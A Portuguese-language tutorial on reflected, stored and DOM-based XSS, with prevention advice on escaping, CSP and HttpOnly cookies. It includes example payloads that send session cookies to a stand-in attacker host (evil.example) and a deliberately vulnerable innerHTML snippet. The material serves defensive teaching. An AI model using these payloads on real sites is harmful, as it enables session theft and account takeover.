XSS: Refletido, Armazenado e DOM-based
Cross-Site Scripting (XSS) permite que um atacante injete scripts que executam no navegador de outro usuário, no contexto de um site confiável. Pode roubar cookies de sessão, redirecionar usuários ou modificar o DOM.
Tipos de XSS
Refletido (Non-Persistent)
O payload viaja na URL ou formulário, é ecoado na resposta sem armazenamento.
https://example.com/search?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>
A vítima clica em um link enviado pelo atacante. O servidor reflete o input sem sanitizar.
Armazenado (Persistent)
O payload é salvo no banco de dados e exibido para todos que acessam a página.
Campo "Bio" de um perfil:
<img src=x onerror="fetch('https://evil.example/log?c='+btoa(document.cookie))">
Qualquer visitante do perfil executa o script automaticamente.
DOM-based
O payload nunca passa pelo servidor; JavaScript do próprio site escreve dados do usuário no DOM sem sanitização.
// Código vulnerável no frontend
const name = location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Olá, ' + name;
// URL: https://example.com/page#<img src=x onerror=alert(1)>
Impacto Real
- Roubo de cookie de sessão → sequestro de conta.
- Keylogger: captura tudo que o usuário digita na página.
- Phishing interno: substitui formulário legítimo por falso.
- Deface de interface para todos os visitantes.
Prevenção
Escapar saída de acordo com o contexto
// Contexto HTML
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// Contexto atributo HTML
echo htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
// Contexto DOM — prefira textContent, não innerHTML
element.textContent = userInput; // seguro
// element.innerHTML = userInput; // NUNCA com dados do usuário
Content Security Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
CSP bloqueia scripts inline e de origens não autorizadas, reduzindo impacto mesmo se XSS ocorrer.
Cookies HttpOnly e Secure
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly impede acesso via document.cookie — o cookie mais visado em ataques XSS.
Checklist defensivo
- Nunca inserir dados do usuário com
innerHTML,document.writeoueval. - Usar bibliotecas de template que escapam por padrão (React, Angular, Jinja2).
- Validar e rejeitar entrada com caracteres inesperados (
<,>,",'). - Implementar CSP reportando violações antes de enforçar.
- Scanner DAST (OWASP ZAP) em pipeline de CI/CD.